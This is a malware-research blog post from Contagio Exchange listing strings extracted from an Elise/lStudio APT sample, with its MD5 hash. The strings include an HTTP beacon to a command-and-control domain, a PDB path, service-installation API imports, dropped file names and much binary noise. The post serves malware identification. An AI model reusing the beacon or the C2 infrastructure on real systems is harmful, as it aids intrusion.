About contagio exchange

CONTAGIO EXCHANGE Contagio exchange was created to absorb malware samples shared by readers of Contagio. This is meant to be a community driven malware collection.
Edit Aug 2013 - The community is busy and Mila too so this was not a very active site (my fault probably) so I will be just dumping malware strings here - it often helps in malware identification and googling is the best way.
With just strings, not exactly a fun blog to read but might become s useful resource over time.
I will not be posting samples here, just md5. You can find the corresponding samples on contagio or ping me if you can't find
M
P.S. Robot pictures delivered by Robohash.com (generated from file hashes)

Sunday, September 8, 2013

Page / Elise / lStudio / stscout / Wumins strings - APT

File: msgsm.exe
MD5:  aaf73666cbd750ed22b80ed836d2b1e4
Size: 68608

Ascii Strings:

GET /29af9cdc/page_12082223.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: gorush.dyndns-web.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache





---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
"'ue-zu
"'uRich
.text
`.data
.rsrc
@.reloc
{5947BACD-63BF-4e73-95D7-0C8A98AB95F2}
XFILE
Parameters
Start
Invalid parameter passed to C runtime function.
(null)
('8PW
700PP
```hhh
xppwpp
RSDS](z
d:\lstudio\projects\lotus\elise\Release\SetElise\i386\SetElise.pdb
tGVh
j^Yhx
SVWj2^3
SSSS
PSSSSSS
u<j2^V
@@f;
@@f;
SVW3
PhCQ
FVSS
@@f;
PVShT
jXhp>
< wL
XPVj
0SSSSS
_^[]
0SSSSS
_^[]
VVVVV
8VVVVV
f91t
AAKu
AAGGf;
_^[]
SVW3
0WWWWW
BBFFf;
_^[]
URPQQh
L$,3
UVWS
[_^]
SVWj
_^[]
8csm
8csm
9MZt
_^[]
Y__^[
t<!E
9MZu+
@\f=
N+D$
$QPW
VVVVV
RPSW
90tN
@t7f
WSj0
PPPPP
WWWWW
SSSSS
YYt"
X^_[
UQPXY]Y[
SSSSS
CloseServiceHandle
QueryServiceStatusEx
OpenServiceA
RegEnumValueA
RegQueryInfoKeyA
RegOpenKeyExW
OpenSCManagerA
RegSetValueExW
RegCreateKeyA
RegSetValueExA
RegOpenKeyExA
StartServiceA
ADVAPI32.dll
CreateDirectoryW
CloseHandle
WriteFile
CreateFileW
MoveFileExW
MoveFileW
DeleteFileW
LockResource
LoadResource
SizeofResource
FindResourceA
MultiByteToWideChar
WinExec
WideCharToMultiByte
GetModuleFileNameW
OpenEventW
KERNEL32.dll
_strnicmp
memset
_errno
__getmainargs
_cexit
_exit
_XcptFilter
_ismbblead
exit
_acmdln
_initterm
_amsg_exit
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
msvcrt.dll
?terminate@@YAXXZ
_controlfp
free
mbtowc
__mb_cur_max
isleadbyte
_iob
_snprintf
_itoa
malloc
ferror
__badioinfo
__pioinfo
_fileno
_lseeki64
_write
_isatty
SHGetSpecialFolderPathW
SHELL32.dll
InterlockedExchange
Sleep
InterlockedCompareExchange
GetStartupInfoA
OutputDebugStringA
RtlUnwind
SetUnhandledExceptionFilter
GetModuleHandleA
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetFileTime
SystemTimeToFileTime
rand
srand
kU'9
HMXB
?Zd;
?/L[
S;uD
z?aUY
D?$?
U>c{
zc%C1
.:3q
-64OS
NKeb
''$$$$  
0000>!
$/.&&&
iiiii)))9999;;;====;;;;>>???????
HIIIMMM]]]]]MMM]]]]]]]MMMM
@@@6666
ILLLL^^^BBBBBBBBBBBBBBBBBBBBBBBBBBBB
vwwwwwwwwwwwwwwwwwwwwwwwwwwwY-H0DDDDB
LLLLHHHHHHHHHHHHHHHhhh
&B#W6666
999999999999999yyy
VVVV\\\\
""".
000:
EEEC
rrr*
ppppppp
4448
MMM/
ccc[
gggE
aUUU
YRRR
,,,T
$$$L
hhh:
ZZZ2
FFF:
~~~@
tttP
0k++++++++++++++++++++++U
AAAAACCCC
P5Y<H---c
^;V9O*****l
w%@-B4QQ
HHHH
AAAA
.<||L^
:(hhtf&&
HHHHHH~~<<
HH||JJzzLLLLLLzz88
LLxxNN~~IIIIIIIIIIDNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNCIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIDN
E&K/
55555
SsV%%%%%
m]oCc
!!!!!
iYkGg
~^;I;T&
jDD7N=I,A(F OOO!D0
pppp
rR'T1CCCCCs
|\5[=R||||q{{{K3
=Y<_0T1
!G&O#F"
<DtFjJ8]>Hh
/[4[{
;_sSv
<<<<
tDvZz
xX4Q?
>[5Z/H
{WwR6
(P`TxX-C(F)^0
.VfR~^{
(N/F*O+
{{{{K3
6P1X4Q5
ppJJeeJJJJJJ""VV""RRhhGGhhhhDDDD~~~~NN66
;;XX77YY77RR11EEee@@33
-UeS
_;^2S*
/KeeU-
!M"E*Dd
eE(A/
1IyHdD'H&H-N:
cMMM}
9P>M9X6U0
.VfVzZ3]4@`
cOo_'
zTTTTTd
sS'^.Kk[#
~PPP
{{''
ffffV.
cMMMM
MMqc##
AAew77+9yy
hhhhhh
ffHH--UU000000b
yyI1
gIIIIy
####
MM,,YY::VV""""n|<<tf&&bp00pb""
LL|n..
XXDV
*8xxHZ
>,llpb""c!b&c%b*c)b.c-b2c1b6c5b:c9X:Y=X>Y1X2Y5X6Y)X*Y-X.Y!X"
oo__ll@@``EE666666
``]]xx
ggggggZZZZ
1111aa
}}..KK99OO**XXXX
QQ??^^<<PP5555ii::UU33GG00QQ##FF
WW>>]]//@@33\\::NN
EE,,BB&&II>>MM
RR''UU''BB,,XX
eeEE
``````##OO..]]..KK8888kkFFwwZZooBBppAAAAAA
YYdd,,xx,,||FFiiFFcc
kkkkkkkk
zz%%UU''BB$$
..@@%%QQ&&II;;PP~~
<<TT  TT$${{
bb@@llLLLLLLLL99JJ//]]
wwYY))[[44LL55
}}}}!!QQ##FF  SS}}
dddd44UU!!IIIIII
''CCCC33AA..HH!!MM(([[uu
^^^^^^^^nn
//]]88II<<YY**^^~~
}}GGggWW//
rrrr]]xx
//__>>YY<<ccFFvvDD
ccFFvvDD
ccMM%%QQ<<PPPPPPzzUU
OO77
::YY66XX66SS00DDdd
gg]]}}MM55
hhhhhhX
-E1E5
!G&O#F"
NN!![[22^^22SS||HHffVVvv^^==RR??OO..ZZ33QQ==XXccCC
QQqqIIggWWllLL
4444
|L}Qq
}]>Q?Y0Ww
"D+^0Tzzz22ff22bbbbbb**~~**zz))))
aQ`Ll
lL/@.H!Ff
3U:O!Ekkk[#
.F2F6Ee
qQ7V?S6RhHx
%]sssC;
5G"A7
'A I%@$
?????||
11IIyyKKggGG  EE11
22TT55\\00UU11
!!YY||
****
bR`Ll
pP4U!@`
cYyI1
lBBBByyYY||??
<<SS<<WW>>[[aaAA
AA||YY========t
lL<]/N#F2W%
1W"L/[2]3
VBGB
WW__wPh8o
WWWWw_
WWWW7W7_7_W_X P W'W_WWW__WWPXXXX}
z@eUg
zZwWWWZZPPPPPPuu
}}RRwwGGuu
rrHHmm]]oo
rrRR
_______^\X]ZRXS_OYNTTTTTTT
x$T&I#F%Q"~
S6Z3@%y+N"G&U0l)E,_:~2~"Kx@v*o
|8t8
```````8QQQc
ai)i
''RU=
CO'WE
q"t#
pvttt
FGGG
&UUUf
=YZZZ
"bbQ
H!```
'+CGFFF
Y37d
gggg'
(8xx
A@@@
ttt'
L>>>
~n..
-|-~
1`6f
Bl,,,
k{-{,
`p00f1
xp&N
qa7a6
8|CCC
.DEEE
B|||
nPPP
!eeee
'&'''
j(((
e,nnn
'7ww
2FhQ
>{ol
{FFF
d;e>
L95f0
R'+}
FFFF
Osss
`s33
82ZZZ
ZVWWW
/oo\
*WGG
++++
GGG9>
S,,,
~o//
Ouuu
f5c4
%%%M
nd't
\6({
Qiii
vNNN
!,HHHs
76660E
_^^^
!
0ZZ22333
}!$$$
XT>f8P
pGGG
,Fv&@
mhhhh
PPTTT
I=;:
M>&)
H432=
H}}}
Z'/GDEEEv
-RRR
uv-~
G////
9=WC
5qpq
atMMM
5{sp
0ZXXX0
IA+?dg
]XD;
RSR88
*:zz
loooo
/uCCC
n>TR
[jjj
+tEEE
=}}N
0ue6
pa!!
FB((BB
csqqq'p
*zvu
C)-}
xxxx8
2>???o
::::
n~>>
Z[[[[
gTfff
&bcb
h7iZ
 !!!
$d4c
Fp\\\
)<@Q
'7p74
Zppp
J```S
@X2>a
oiHHHK
z///GEDDD
2"{{{
JJJs
?kkk2
l888
yQQQ
_7#7ww
x,,,u
|[[[
/222Xj
4m4;
G_qqq
4$d$B
KyyyyP
aLLL
e<ej
eeee
c`gggg
dUTTT
B^^^
n7na
[XZZZZ
i:&&&
(+////
m( s%r
C```
-Sppp#K
accc
we%%
3!aa
1[i9
i@@@
\67`
++++^R:~k++
1UUUU
]5=(hh
GEEE~
'$iii:R
LGGG
kllll
q9M{3Gd,X^
bq9My
P^45c
&u#tG
9iii
bbbbQ
Khhh
`h(h
ed7_
i6h[
-hd,YQ
|xyyy/
)?www
CC7,
MM%%3ss
o(((q(
\\4w
i|l|<<
95777
Z24666
5c3U
f***|*BBY
$RHHH
hx88
MLLL
siwww
ovvvE
ws s s
@@@@&
loooo
QQQQ9:;;;
#6RB
td$$w$
7"RB
m--~-~{}8xx({(
^FFF
=(p`  }
O2:443
rjjj
=AR-*
]).D@
"2a7`S
k&'''
`WVVVoQ^
|`aaa
n"{Z'+AR
3333
:wg^
%PXW
X26h
cu55
`cn-
RR'#h#l#
\(+k
A9/oo
>pfff
l```
FAAA
TAAA
PSSS
usqqq
2'SB
;:::
mz::j
ia}}}
5"bb
>JQQQ
LMMM
E-%2rr
AEDDD
h8n8P
}hp`
,9AP
R^DDD
{m--
-mmm^
zl,,
AIII
1qqB
<yu&p'MD
/|,J
ZHHH
bASSS
0Z[1+
ZXXX0
D1)))
AYYY1
YY3'w
bw#3ss
-%e%Cx
+^[=
]5IQ
onnn
<)ET
l<>X
DN;"
pa!!
!9yy)
fL[[[
z{{{{H
.w.ZK
kz::
CVVV
=n>X
?7w7Qj
sV=<<<
U@L]
cs33c
xyyy.
6^XZZZ<
\RRR
cz::
RFFF
%0 1qqJ
iiiiZ
3'6vv
i9S6
RG_N
ss@@@*.
@**@@**@A)
WBJ[
hnlll
{3)ii9i
,YV>
tm--
'>~~
|KKK
QZZZ
^R:>???
|(2rr
C69Q}g''
ax88
2+kk
_S;?>>>
"WX0PJ
\jjj3
@*)A
?*"3ssH
YSSS
^^+<
^6JP
commm
`  UA
#3ss#K7-mm
;;;b
O%$s
XX2;bQ
gw77
L6BFu
@U%4tt-
7""3ss
UU!)*_
3#cc3[
888a8
F21a
".Pf
<>>>i
%"""
6g4d
..>>>V
:!aa7a1
8222
ADDFFF
!!---
gkkk
6^^^^~
!4222
fvm--
xIII
5%ee5]
}}}}
"###V8
o//|/|/|/
::::NJy
RK####
uqqq
kR'/ZG
PVVV
OG2?
o//ZX
XxxK
MA4:
5HDE
!!!!E
&co?
"VA)
=(`p00ZZ
''''O
rc##
@5%r
BBBB{>2=
====
!4xh((
xhQd
RSSS
-////
GDDDD
Z'+*%
<<<<
pvvvv v
@HHHH
^UUUU
(UYX-(
tOB:
4pTP
X|`k
=iMY.&TSh,
TVVV
.nn]
ly9)ii
.rc##
FFPPPP
T!)~
uucccc
m|<<
8g9b?
F___
$QE0.
ddrrrr
F;3FKp
:NkP
te%%
x]]]
kz::
o~>>
&y'|!
Rb1b1b1
6CKx
)\Lu($QCp
Vo2&SW
19y;
'R^)
RRpppp
'bv&
i>JM
#VF}
H=5bQ
)~)~)~
=@T!$B
(]IF
_S%4
&&RZ
v%s$
+++++
gfggg
,----
*|+x
yqBr%
'&&&&
4z~}
r$,/
y&x#
RRR&
O}|||
MA5$
o\Pj
h,$<JW
&nbY
(meN
6e3d
\\m(
>.nn]
RGwg''
:*jjY
dt44\UQQ
@U!1qq
<x\Pc
=Y}i
%)^V$+
]ym^
1+++r+
PXY_
`q11
-mm^
`E16\^
vX28
8>>o>
,ll_
YYYY
Z%SM
"VD} 0FK
o0n]
_7555
8222
mddd
G0?0
u}}}
lddd
meee
U]]]
^4<<<
"/'''
&&...
9>>>
olPf
ruuuIz
mjjjV2=
(///
&!!!
R#$$$
c=???
||||
])9q9M
ai!if
zTVVV
caaa
xH@O
\\\\
]]UUU
;;;;]
ddlll
"####
<???
2zxw
puuu
lldk
\4111
qrrr
tuuuz
8;;;
8$'''
a<===k
@@AAA
.&&&&
4555
xzzzz
  0?
**+++M
44IE
(n>x
%PxA
$$XC
=9M_
nnxxxxK
O=}}{
HH,_
zk++
=IlW
5'***
(oc#p&
w2:;=
-8XI
#GCCC
;{{H
6s{(
++====
uZPPP:8fe
+/%%%
F1<3
(!!!
?KoD
 )))
Gfooo
[SSS5
zrrr
%---K
`hhh
)E1)
XPPP6
TTDDD
AEMMM
qvvvy
)RPd
jhZ/=
*QVVV
<====
=innna
}kjjj
liii
a````
AGGGG
dfff
qAIF
{{{{
l\T!&
6222
jnnn
NLLLg
$rvvvy
ud$$
%UQb
5RWWW
+NMMM
!%%%
..,,,
?bccc5
n~~~~q
VVFI
.[Yj
&&$$$
IHx8
Z[[[[
//[]^
,YXXX
110DO)
&'SX>
&$PC%
e6\|
et44
{+{+{+
k4jY
]"bb
vg''
[[MMMM
////
IIII
%|%QT
]H(9yy
4zvV
5444
YL,=}}
!0pp
iiii
3}eN
3GP:8k8
#maA
iLp`
/PPP6
}a}==
"w{)
ok8RS;;;;{
4@ s%
9)ii
g4b5
R---K
j:8^
D.*y
zzzz:RZ
@@{~
%.DF
k{;;h;m
j:i:
|l,,
z{;z
!! \
//...
?`>e
c>-.
XXXX
^^^^Q
tttt
O"2:|s
aiZ^
z::|6
;{{=
h7i4
}l,,u
;e%%
d:zz
u*jj
%%%appp4
BBBBRRR>
sssssssssss
0!!!
KKKKKKKKKKKu
zzzf
}}}g
%%%C
999Y
'''K
kkkO
AAA5
iii#
UUUUUUUI
GGGE
qqq3
jjj$
-m4u-}<d$~~~
L;X+G0BB((w/L<H
vv)H,F3@4k
{U1]111
bb=b
m2Q$V
|}"K$FFFij5F(X*C-Y??
S:N!@@.+\?K$I+++
 B#G.A(F OO
wv)@3R&R++
_+J>K888
n-_:[/J
X aa
P<S E
s<L)G
U-zz
V?S666dd'U0Q%@
~:S!D'S<N7vv
T&C"V3c
~.A(F2W%%%~
8])o
\5O**BC
Y8K?z
ggg((k
J#O*kk''d
F0U;O
N+I<[<Y+{
V$K(M>M
R;I=H)E
M555FG
\3W"N+m
C"O*kkk
pq6S'w
j:H'A(D!r
CCC)(o
~2]>_3g
W9M(Z6Y:Q4P
kkUV
J$P5G+D'L)M
O7T<]3T111JH
w3V4A&u
`b3F#Q(x
p3\)G3V$$
|(A,I
{=T8]
hh.-y
t$V9Z?L???
J8W4Q"QQ
P>V7Y=Q4P
A(D0U'''
D<_:J>W8V
vv=x*d!m^lB&J&&&==z
k*N/_+N<O
tZ>R>>>i:
WdVx
rr6S?Z.K
e!!!'bbb
pk++
nwwwwwwwwwwwwwwsssr
__________
( `````````
cl,,,,,,,,,
 6vvvvvvvvV
U}mz
s58]JF3
DjPc
iDrF
Uwo!j
xFTk
7vHzE
qNN~~~
.O|>
DpPe
~IF~
DySm
99yyy
7pC%
aUGr;
88hhhTUUUXh}M
:oY<
TczB
a\YgSl
/{K+
zBe\wNaXkRe\g^aX
"SjE
Huc]
555eeee
VVVZZZZ
o^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
''$$$$  
88886)
V?\4
bbbbbbbbb2www;:99h%7ggggggggg
wwwsssSSSSSCCCSSSSSSSCCCCCCCCCCCCGYYYeeeeeeeeeeeeeeeeeeeeeeeeeeeee%%%=<<<
3G"Z....
111Q
oooo
iwww
bBBB
Llll
fFFF
TKKK
FYYY
tkkk
hwww[DDDZEEESLLL@___
OOOOOMMMM
eeRR``VVxx
|hmh-h-
}}uu]zB
}}}}]u
}}}}
u}ur
}u}}}uu}}zrrrrrrrr:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:                H
{kkj
/Z^m
FT>=m
FvEED
EpwwwD
xmYIIH
IHHHH,
'776
=>>>
X-'MR
x~~~'
"223[
3222
!YoonU
aggg>g
0%euut
Nxxyy
HXXY
trNn
gm5e3YY11110
]YYY
ZO3##"
D|OON
Uhhhhi$~
Jr"ggg
k`aaa
````n
gggg
jjjje
FF@@@
aWWV
*'Waa`
>brrs
2233FJ"VLLM
_@EEEv
y=;;;
;h>i
EPPQ5
^^nno\
:~Zj
:vR~MT
'SWl
3ebbb
-(((((
ow(v-
+ckX
#gCK
;??j<k8
!'''
YOON
y$0f
L7'SX
UfjR
eeeee
zIE}
NNNNN
{MML
&'''
Bq}G
h%-|+
(P@C6
G^*?
_F25
\I%554
I\p``aR
bG?//.
Ax5o
3l2i4
;QY1
pppp
=m}}|
8k=j
$$$$$
<11111h7h6m
;NF.{nno
Q999::RRRSS
+AM%
tAAqqp
`]aUUT2
Myyx
hmYmml
LaMyyx
qBBCBBCC
,pCCB
&667_
YLDTTU=400
qz)x
b{{z
SIIH
 >>>>...
UEEEEEEEEEEEEEEEEEEEEEEE
IWWW[zzz
Ffff
|\\\<
^~~~HhhhLllljJJJ
C\\\\\\\fyyy;$$$hwww/000VIII3,,,
#<<<
MRRR
C]]]]]]]
L+N:W6_1P"E66"#|
}|#F>W##II
N-])o
WS6N'SSS
}}|}"C.]:e
_9]4BBB
W'x'A,C'BBB
lm*O;h
~7Y?P
R'B0I
R=H&R7EE
on)L8k
I M(i
\5Y<h
E7X;^-^^^ed#F2q
{+Y6U0C00gd1_7V8\0U1t
f I%Q4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFF
FGGGGGGGGgb
$$$$////oooo
muuuu}}}}]]]]"""""""""""""
MMMMMMMMMM
#/ooooooooo?
cq11111111
`#-(
a)d<~
4g\)m
n=AS
/6L/
m(jm
BR~[
r@Jym^GtjYm^gT
9`\;
`1l1p1
3g4q4
5"5_5f5
6:6[6h6
8<8]8
8(9A9
<I<n<x<
=E=_=i=
>&>`>n>j?
0 070S0]0w0
1T1^1d1n1
2`2l2r2y2
5E6Q6]7x8
8P9`9f9t9
;(;?;
< <(<0<<<S<[<t<z<
='=,=2===D=
=5>s>
>J?y?
G0[0
3)4F4
8<9W9
:.:e:i:m:q:u:y:}:
:k;t;
<Q<h<s<
=E>T>f>
{"r":"440000100186","l":"441200100550","u":"0099024","m":"441201100518"}

Unicode Strings:
---------------------------------------------------------------------------
\Network\
\Microsoft
ServiceDll
ServiceMain
ESEntry
update
Pactmovie.exe
mssrt726.dll
6B5A4606
Global\%d%s
6B5A4607
(null)
XFILE